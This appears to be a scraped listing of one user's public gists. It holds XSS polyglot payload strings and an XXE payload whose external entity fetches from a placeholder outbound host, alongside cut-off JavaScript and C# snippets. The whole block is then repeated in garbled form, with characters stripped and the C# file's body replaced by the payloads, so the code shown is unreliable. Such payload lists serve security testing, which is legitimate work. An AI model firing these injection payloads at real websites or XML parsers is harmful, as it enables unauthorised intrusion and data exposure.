Erlend Oftedal eoftedal

## xss-polyglots.txt
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<

## XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

## gist:2046582
var mynamespace = mynamespace || {};

(function(){
	var counter = { count: 0 };
	function incrementCounter(){
		counter.count++;
	}

	mynamespace.someobject = {
		counter : counter,

## gist:998858
var txt = "Dette vil slette elevtelling og all tilhørende elevdata. Ønsker du å fortsette?";

function regexSplit(re, txt) {
    var reg = new RegExp(re);
    var result = [];
    var last;
    var ar;
    while(ar = reg.exec(txt)) {
        result.push(ar[1]);
        last = reg.lastIndex;

## EncryptionPaddingProblem.cs
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Linq;

namespace CryptoTest
{
    class Program
    {
	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<
	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>
	var mynamespace = mynamespace \|\| {};

	(function(){
	var counter = { count: 0 };
	function incrementCounter(){
	counter.count++;
	}

	mynamespace.someobject = {
	counter : counter,
	var txt = "Dette vil slette elevtelling og all tilhørende elevdata. Ønsker du å fortsette?";

	function regexSplit(re, txt) {
	var reg = new RegExp(re);
	var result = [];
	var last;
	var ar;
	while(ar = reg.exec(txt)) {
	result.push(ar[1]);
	last = reg.lastIndex;
	using System;
	using System.IO;
	using System.Security.Cryptography;
	using System.Text;
	using System.Linq;

	namespace CryptoTest
	{
	class Program
	{